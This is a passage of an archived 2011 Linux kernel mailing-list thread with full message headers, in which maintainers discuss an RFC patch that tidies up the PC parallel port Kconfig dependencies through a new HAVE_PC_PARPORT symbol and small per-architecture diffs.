	Ingo Molnar <mingo@redhat.com>, Geert Uytterhoeven <geert@linux-m68k.org>,
	Matt Turner <mattst88@gmail.com>, Fenghua Yu <fenghua.yu@intel.com>,
	microblaze-uclinux@itee.uq.edu.au, Chris Metcalf <cmetcalf@tilera.com>,
	Mikael Starvik <starvik@axis.com>,
	Ivan Kokshaysky <
To: linux-arm-kernel@lists.infradead.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Tue Jun 14 23:33:53 2011
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from merlin.infradead.org ([205.233.59.134])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1QWbF9-0005AV-Vh
	for linux-arm-kernel@m.gmane.org; Tue, 14 Jun 2011 23:33:52 +0200
Original-Received: from canuck.infradead.org ([2001:4978:20e::1])
	by merlin.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWbF7-0006YN-Tg; Tue, 14 Jun 2011 21:33:50 +0000
Original-Received: from localhost ([127.0.0.1] helo=canuck.infradead.org)
	by canuck.infradead.org with esmtp (Exim 4.76 #1 (Red Hat Linux))
	id 1QWbF7-0001MQ-EJ; Tue, 14 Jun 2011 21:33:49 +0000
Original-Received: from moutng.kundenserver.de ([212.227.126.186])
	by canuck.infradead.org with esmtp (Exim 4.76 #1 (Red Hat Linux))
	id 1QWbF4-0001M7-HW for linux-arm-kernel@lists.infradead.org;
	Tue, 14 Jun 2011 21:33:47 +0000
Original-Received: from wuerfel.localnet (port-92-200-80-152.dynamic.qsc.de
	[92.200.80.152])
	by mrelayeu.kundenserver.de (node=mreu2) with ESMTP (Nemesis)
	id 0MY28S-1Q1kZk2wIy-00Uo9f; Tue, 14 Jun 2011 23:33:28 +0200
User-Agent: KMail/1.13.6 (Linux/3.0.0-rc1nosema+; KDE/4.6.3; x86_64; ; )
In-Reply-To: <4DF7C3CA.9050902@zytor.com>
X-Provags-ID: V02:K0:4Zssem6JWizqn7BkT7+NQXYfMfyH4hXjXBiyiXNVpSb
	cn8oU3BrS/+p+x06i7aE/WdPdAaMuShkqSrTK+hqlZBemaZjH2
	mAiyyo3L06hVuJJApWQij2iyvaMHUukM2KfMtL+wYasMvFww5A
	Br2rHs0CZ3awQYtNCBRhI3vaJhaxhVLR6rt32ZxVorMrBdgsUo
	PcETbV8aYwWDGCAGSUK0g==
X-CRM114-Version: 20090807-BlameThorstenAndJenny ( TRE 0.7.6 (BSD) )
	MR-646709E3 
X-CRM114-CacheID: sfid-20110614_173346_857067_13FE747C 
X-CRM114-Status: GOOD (  19.26  )
X-Spam-Score: 0.0 (/)
X-Spam-Report: SpamAssassin version 3.3.1 on canuck.infradead.org summary:
	Content analysis details:   (0.0 points)
	pts rule name              description
	---- ----------------------
	--------------------------------------------------
	-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/,
	low trust [212.227.126.186 listed in list.dnswl.org]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: linux-arm-kernel-bounces@lists.infradead.org
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:120526 gmane.linux.ports.mips.general:31480 gmane.linux.ports.m68k:2460 gmane.linux.ports.ia64:21716 gmane.linux.ports.sh.devel:11367 gmane.linux.ports.sparc:15139 gmane.linux.kernel.cross-arch:10021 gmane.linux.uclinux.microblaze:11602 gmane.linux.ports.parisc:3793 gmane.linux.kernel:1154945 gmane.linux.ports.alpha:1483 gmane.linux.ports.ppc64.devel:75128
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/120526>

On Tuesday 14 June 2011 22:25:46 H. Peter Anvin wrote:
> On 06/14/2011 12:08 PM, Ralf Baechle wrote:
> > The PC parallel port Kconfig as acquired one of those messy terms to
> > describe it's architecture dependencies:
> > 
> >        depends on (!SPARC64 || PCI) && !SPARC32 && !M32R && !FRV && \
> >                (!M68K || ISA) && !MN10300 && !AVR32 && !BLACKFIN
> > 
> > This isn't just ugly - it also almost certainly describes the dependencies
> > too coarse grainedly.  This is an attempt at cleaing the mess up.
> > 
> > I tried to faithfully aproximate the old behaviour but the existing
> > behaviour seems inacurate if not wrong for some architectures or platforms.
> > To improve on this I rely on comments from other arch and platforms
> > maintainers.  Any system that can take PCI multi-IO card or has a PC-style
> > parallel port on the mainboard should probably should now do a
> > select HAVE_PC_PARPORT.  And some arch Kconfig files should further
> > restrict the use of HAVE_PC_PARPORT to only those platforms that actually
> > need it.
> > 
> 
> Why on earth restrict it like that?  It's just a device driver, like
> more or less any other device driver...

I'd say any other classic ISA/PC driver, including floppy, gameport or
serial-8250. One problem with these is that we never fully worked out
the dependencies for these, which we probably should. CONFIG_ISA
generally means ISA add-on cards, but that might not be enabled for
platforms that have a pc-parport but no ISA slots.

On the other hand, you have embedded platforms that currently build support
for parport-pc but define the inb/outb macros to plain pointer dereferences
(otherwise you can't build the 8250 driver). Loading parport-pc on those
machines typically results in derefencing user memory in the best case.

What I'd love to see is a configuration option for "arch has working
PC-style inb/outb instructions", so we can build a kernel without them but
still get MMIO based drivers for PCI-less platforms.

	Arnd

From - Thu Nov 08 21:07:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Luck, Tony" <tony.luck@intel.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.uclinux.microblaze,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: RE: [RFC,PATCH] Cleanup PC parallel port Kconfig
Date: Tue, 14 Jun 2011 15:08:37 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <987664A83D2D224EAE907B061CE93D5301E7281306@orsmsx505.amr.corp.intel.com>
References: <20110614190850.GA13526@linux-mips.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1308089347 5365 80.91.229.12 (14 Jun 2011 22:09:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 14 Jun 2011 22:09:07 +0000 (UTC)
Cc: "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	"linux-m68k@vger.kernel.org" <linux-m68k@vger.kernel.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-cris-kernel@axis.com" <linux-cris-kernel@axis.com>,
	"linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
	"microblaze-uclinux@itee.uq.edu.au" <microblaze-uclinux@itee.uq.edu.au>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	"linux-arm-kernel@lists.infradead.org"
	<linux-arm-kernel@lists.infradead.org>
To: Ralf Baechle <ralf@linux-mips.org>, "linux-arch@vger.kernel.org"
	<linux-arch@vger.kernel.org>, Benjamin Herrenschmidt
	<benh@kernel.crashing.org>, Chen Liqin <liqin.chen@sunplusct.com>,
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Wed Jun 15 00:09:01 2011
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from merlin.infradead.org ([205.233.59.134])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1QWbnA-0005cS-Py
	for linux-arm-kernel@m.gmane.org; Wed, 15 Jun 2011 00:09:00 +0200
Original-Received: from canuck.infradead.org ([2001:4978:20e::1])
	by merlin.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWbmw-00015r-QR; Tue, 14 Jun 2011 22:08:47 +0000
Original-Received: from localhost ([127.0.0.1] helo=canuck.infradead.org)
	by canuck.infradead.org with esmtp (Exim 4.76 #1 (Red Hat Linux))
	id 1QWbmw-0001oM-Br; Tue, 14 Jun 2011 22:08:46 +0000
Original-Received: from mga11.intel.com ([192.55.52.93])
	by canuck.infradead.org with esmtp (Exim 4.76 #1 (Red Hat Linux))
	id 1QWbmt-0001o3-9J for linux-arm-kernel@lists.infradead.org;
	Tue, 14 Jun 2011 22:08:43 +0000
Original-Received: from fmsmga002.fm.intel.com ([10.253.24.26])
	by fmsmga102.fm.intel.com with ESMTP; 14 Jun 2011 15:08:39 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.65,366,1304319600"; d="scan'208";a="16250488"
Original-Received: from orsmsx603.amr.corp.intel.com ([10.22.226.49])
	by fmsmga002.fm.intel.com with ESMTP; 14 Jun 2011 15:08:38 -0700
Original-Received: from orsmsx505.amr.corp.intel.com ([10.22.226.208]) by
	orsmsx603.amr.corp.intel.com ([10.22.226.49]) with mapi;
	Tue, 14 Jun 2011 15:08:38 -0700
Thread-Topic: [RFC,PATCH] Cleanup PC parallel port Kconfig
Thread-Index: AcwqxtP+0jyIPAsgQYKo7DQ7Gdbl3gAGFmPA
In-Reply-To: <20110614190850.GA13526@linux-mips.org>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
acceptlanguage: en-US
X-CRM114-Version: 20090807-BlameThorstenAndJenny ( TRE 0.7.6 (BSD) )
	MR-646709E3 
X-CRM114-CacheID: sfid-20110614_180843_467411_94BFFF2C 
X-CRM114-Status: GOOD (  13.32  )
X-Spam-Score: -5.0 (-----)
X-Spam-Report: SpamAssassin version 3.3.1 on canuck.infradead.org summary:
	Content analysis details:   (-5.0 points)
	pts rule name              description
	---- ----------------------
	--------------------------------------------------
	-0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay
	domain
	-5.0 RCVD_IN_DNSWL_HI RBL: Sender listed at http://www.dnswl.org/,
	high trust [192.55.52.93 listed in list.dnswl.org]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: linux-arm-kernel-bounces@lists.infradead.org
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:120532 gmane.linux.kernel.cross-arch:10022 gmane.linux.ports.mips.general:31481 gmane.linux.ports.m68k:2461 gmane.linux.ports.ia64:21717 gmane.linux.ports.parisc:3794 gmane.linux.ports.sh.devel:11368 gmane.linux.uclinux.microblaze:11603 gmane.linux.kernel:1154951 gmane.linux.ports.alpha:1484 gmane.linux.ports.ppc64.devel:75129
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/120532>

diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
index 38280ef..849805a 100644
--- a/arch/ia64/Kconfig
+++ b/arch/ia64/Kconfig
@@ -23,6 +23,7 @@ config IA64
 	select HAVE_ARCH_TRACEHOOK
 	select HAVE_DMA_API_DEBUG
 	select HAVE_GENERIC_HARDIRQS
+	select HAVE_PC_PARPORT
 	select GENERIC_IRQ_PROBE
 	select GENERIC_PENDING_IRQ if SMP
 	select IRQ_PER_CPU

I took a look at the back of all my ia64 systems - none of them
have a parallel port.  It seems unlikely that new systems will
start adding parallel ports :-)

So even if I had a printer (or other device) that used a parallel
port, I have no way to test it.

-Tony

From - Thu Nov 08 21:07:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Baechle <ralf@linux-mips.org>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC,PATCH] Cleanup PC parallel port Kconfig
Date: Tue, 14 Jun 2011 23:34:04 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <20110614223404.GA30057@linux-mips.org>
References: <20110614190850.GA13526@linux-mips.org>
	<4DF7C3CA.9050902@zytor.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1308090998 14122 80.91.229.12 (14 Jun 2011 22:36:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 14 Jun 2011 22:36:38 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-m68k@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Paul Mackerras <paulus@samba.org>, sparclinux@vger.kernel.org,
	Guan Xuetao <gxt@mprc.pku.edu.cn>,
	Lennox Wu <lennox.wu@gmail.com>, linux-arch@vger.kernel.org,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Russell King <linux@arm.linux.org.uk>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Helge Deller <deller@gmx.de>, x86@kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Ingo Molnar <mingo@redhat.com>, Geert Uytterhoeven <geert@linux-m68k.org>,
	Matt Turner <mattst88@gmail.com>, Fenghua Yu <fenghua.yu@intel.com>,
	microblaze-uclinux@itee.uq.edu.au, Chris Metcalf <cmetcalf@tilera.com>,
	Mikael Starvik <starvik@axis.com>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Thomas
To: "H. Peter Anvin" <hpa@zytor.com>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Wed Jun 15 00:36:26 2011
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from merlin.infradead.org ([205.233.59.134])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1QWcDe-0001g8-G7
	for linux-arm-kernel@m.gmane.org; Wed, 15 Jun 2011 00:36:22 +0200
Original-Received: from canuck.infradead.org ([2001:4978:20e::1])
	by merlin.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWcDJ-00040p-Dy; Tue, 14 Jun 2011 22:36:01 +0000
Original-Received: from localhost ([127.0.0.1] helo=canuck.infradead.org)
	by canuck.infradead.org with esmtp (Exim 4.76 #1 (Red Hat Linux))
	id 1QWcDI-0002C9-Ul; Tue, 14 Jun 2011 22:36:00 +0000
Original-Received: from casper.infradead.org ([2001:770:15f::2])
	by canuck.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWcDG-0002C4-0Q for linux-arm-kernel@canuck.infradead.org;
	Tue, 14 Jun 2011 22:35:58 +0000
Original-Received: from
	4.a.d.f.9.7.5.2.b.0.7.4.4.6.0.5.0.0.0.0.a.e.3.0.0.b.8.0.1.0.0.2.ip6.arpa
	([2001:8b0:3ea:0:5064:470b:2579:fda4] helo=duck.linux-mips.net)
	by casper.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWcDD-0002Oo-Aa for linux-arm-kernel@lists.infradead.org;
	Tue, 14 Jun 2011 22:35:56 +0000
Original-Received: from duck.linux-mips.net (duck.linux-mips.net [127.0.0.1])
	by duck.linux-mips.net (8.14.4/8.14.3) with ESMTP id p5EMYEgR023515;
	Tue, 14 Jun 2011 23:34:14 +0100
Original-Received: (from ralf@localhost)
	by duck.linux-mips.net (8.14.4/8.14.4/Submit) id p5EMY4nB023504;
	Tue, 14 Jun 2011 23:34:04 +0100
Content-Disposition: inline
In-Reply-To: <4DF7C3CA.9050902@zytor.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-CRM114-Version: 20090807-BlameThorstenAndJenny ( TRE 0.8.0 (BSD) )
	MR-646709E3 
X-CRM114-CacheID: sfid-20110614_233555_591671_6208E0FC 
X-CRM114-Status: GOOD (  28.56  )
X-Spam-Score: -0.9 (/)
X-Spam-Report: SpamAssassin version 3.3.2-r929478 on casper.infradead.org
	summary: Content analysis details:   (-0.9 points, 5.0 required)
	pts rule name              description
	---- ----------------------
	--------------------------------------------------
	-1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
	[score: 0.0000]
	1.0 RDNS_DYNAMIC           Delivered to internal network by host with
	dynamic-looking rDNS
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: linux-arm-kernel-bounces@lists.infradead.org
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:120538 gmane.linux.ports.mips.general:31482 gmane.linux.ports.m68k:2462 gmane.linux.ports.ia64:21718 gmane.linux.ports.sh.devel:11369 gmane.linux.ports.sparc:15140 gmane.linux.kernel.cross-arch:10023 gmane.linux.uclinux.microblaze:11604 gmane.linux.ports.parisc:3795 gmane.linux.kernel:1154957 gmane.linux.ports.alpha:1485 gmane.linux.ports.ppc64.devel:75130
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/120538>

On Tue, Jun 14, 2011 at 01:25:46PM -0700, H. Peter Anvin wrote:

> On 06/14/2011 12:08 PM, Ralf Baechle wrote:
> > The PC parallel port Kconfig as acquired one of those messy terms to
> > describe it's architecture dependencies:
> > 
> >        depends on (!SPARC64 || PCI) && !SPARC32 && !M32R && !FRV && \
> >                (!M68K || ISA) && !MN10300 && !AVR32 && !BLACKFIN
> > 
> > This isn't just ugly - it also almost certainly describes the dependencies
> > too coarse grainedly.  This is an attempt at cleaing the mess up.
> > 
> > I tried to faithfully aproximate the old behaviour but the existing
> > behaviour seems inacurate if not wrong for some architectures or platforms.
> > To improve on this I rely on comments from other arch and platforms
> > maintainers.  Any system that can take PCI multi-IO card or has a PC-style
> > parallel port on the mainboard should probably should now do a
> > select HAVE_PC_PARPORT.  And some arch Kconfig files should further
> > restrict the use of HAVE_PC_PARPORT to only those platforms that actually
> > need it.
> > 
> 
> Why on earth restrict it like that?  It's just a device driver, like
> more or less any other device driver...

Some of the older MIPS systems are based on PC chipsets from Intel, OPTi
or others.  On those you can expect the parport_pc driver to actually work.
The ISA/PCI implementations are often between lackluster and pure brokeness
such as with non-functioning I/O port address space.  So I don't want to
run such drivers on such a platforms, things might turn ugly.

Embedded systems often have PCI but no PCI slots or there may even be an
apropriate SuperIO chip in the the system but nothing wired to the parallel
port bits.

And there are systems such as DECstations which have nothing that even
at a parsec's distance has a similarity to (E)ISA or PCI - but still
PARPORT_PC is offered along with 40 other options that depend on it.

There is no point in offering to build something that couldn't possibly be
used.  It just makes the kernel harder to configure and inflates the test
matrix for no good reason.

  Ralf

From - Thu Nov 08 21:07:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guan Xuetao <gxt@mprc.pku.edu.cn>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.ports.sparc,gmane.linux.uclinux.microblaze,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: Re: [RFC,PATCH] Cleanup PC parallel port Kconfig
Date: Wed, 15 Jun 2011 09:24:06 +0800
Organization: MPRC, PKU
Lines: 47
Approved: news@gmane.org
Message-ID: <1308101046.4727.10.camel@epip-laptop>
References: <20110614190850.GA13526@linux-mips.org>
Reply-To: gxt@mprc.pku.edu.cn
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1308101442 29786 80.91.229.12 (15 Jun 2011 01:30:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 15 Jun 2011 01:30:42 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Chen Liqin <liqin.chen@sunplusct.com>,
        Chris Metcalf <cmetcalf@tilera.com>,
        Chris Zankel <chris@zankel.net>,
        "David S. Miller" <davem@davemloft.net>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Helge Deller <deller@gmx.de>, "H. Peter Anvin" <hpa@zytor.com>,
        Ingo Molnar <mingo@redhat.com>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Kyle McMartin <kyle@mcmartin.ca>,
        Lennox Wu <lennox.wu@gmail.com>,
        Matt Turner <mattst88@gmail.com>,
        Michal Simek <monstr@monstr.eu>,
        Mikael Starvik <starvik@axis.com>,
        Paul Mackerras <paulus@samba.org>,
        Pau
To: Ralf Baechle <ralf@linux-mips.org>
Original-X-From: linux-mips-bounce@linux-mips.org Wed Jun 15 03:30:31 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1QWew9-0005NP-Tv
	for sgi-linux-mips@gmane.org; Wed, 15 Jun 2011 03:30:30 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:51915 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1491096Ab1FOBaW (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 15 Jun 2011 03:30:22 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 15 Jun 2011 03:30:04 +0200 (CEST)
Original-Received: from mprc.pku.edu.cn ([162.105.203.9]:38629 "EHLO mprc.pku.edu.cn"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S1491064Ab1FOB3s (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Wed, 15 Jun 2011 03:29:48 +0200
Original-Received: from [192.168.0.106] ([162.105.80.111])
        (authenticated bits=0)
        by mprc.pku.edu.cn (8.13.8/8.13.8) with ESMTP id p5F1Wm6I014980;
        Wed, 15 Jun 2011 09:32:50 +0800
In-Reply-To: <20110614190850.GA13526@linux-mips.org>
X-Mailer: Evolution 2.32.2 
X-archive-position: 30390
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: gxt@mprc.pku.edu.cn
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:31483 gmane.linux.kernel.cross-arch:10024 gmane.linux.ports.sparc:15141 gmane.linux.uclinux.microblaze:11605 gmane.linux.ports.alpha:1486 gmane.linux.ports.arm.kernel:120546 gmane.linux.ports.ia64:21719 gmane.linux.kernel:1155003 gmane.linux.ports.m68k:2463 gmane.linux.ports.parisc:3796 gmane.linux.ports.ppc64.devel:75135 gmane.linux.ports.sh.devel:11370
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/31483>

On Tue, 2011-06-14 at 20:08 +0100, Ralf Baechle wrote:
> The PC parallel port Kconfig as acquired one of those messy terms to
> describe it's architecture dependencies:
> 
>        depends on (!SPARC64 || PCI) && !SPARC32 && !M32R && !FRV && \
>                (!M68K || ISA) && !MN10300 && !AVR32 && !BLACKFIN
> 
> This isn't just ugly - it also almost certainly describes the dependencies
> too coarse grainedly.  This is an attempt at cleaing the mess up.
> 
> I tried to faithfully aproximate the old behaviour but the existing
> behaviour seems inacurate if not wrong for some architectures or platforms.
> To improve on this I rely on comments from other arch and platforms
> maintainers.  Any system that can take PCI multi-IO card or has a PC-style
> parallel port on the mainboard should probably should now do a
> select HAVE_PC_PARPORT.  And some arch Kconfig files should further
> restrict the use of HAVE_PC_PARPORT to only those platforms that actually
> need it.
> 
> Thanks,
> 
>   Ralf

> diff --git a/arch/unicore32/Kconfig b/arch/unicore32/Kconfig
> index e57dcce..3832e7e 100644
> --- a/arch/unicore32/Kconfig
> +++ b/arch/unicore32/Kconfig
> @@ -8,6 +8,7 @@ config UNICORE32
>  	select HAVE_KERNEL_BZIP2
>  	select HAVE_KERNEL_LZO
>  	select HAVE_KERNEL_LZMA
> +	select HAVE_PC_PARPORT
>  	select GENERIC_FIND_FIRST_BIT
>  	select GENERIC_IRQ_PROBE
>  	select GENERIC_IRQ_SHOW
In UniCore32, only some debug-boards need to support parport.
So I'd like to add HAVE_PC_PARPORT and related configs to certian
*_defconfig, but not in Kconfig.

Thanks Ralf.

Guan Xuetao






From - Thu Nov 08 21:07:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.ports.sparc,gmane.linux.uclinux.microblaze,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: Re: [RFC,PATCH] Cleanup PC parallel port Kconfig
Date: Tue, 14 Jun 2011 21:18:36 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <4DF8329C.7000904@zytor.com>
References: <20110614190850.GA13526@linux-mips.org> <4DF7C3CA.9050902@zytor.com> <20110614223404.GA30057@linux-mips.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1308111634 6459 80.91.229.12 (15 Jun 2011 04:20:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 15 Jun 2011 04:20:34 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Chen Liqin <liqin.chen@sunplusct.com>,
        Chris Metcalf <cmetcalf@tilera.com>,
        Chris Zankel <chris@zankel.net>,
        "David S. Miller" <davem@davemloft.net>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Guan Xuetao <gxt@mprc.pku.edu.cn>,
        Helge Deller <deller@gmx.de>, Ingo Molnar <mingo@redhat.com>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Kyle McMartin <kyle@mcmartin.ca>,
        Lennox Wu <lennox.wu@gmail.com>,
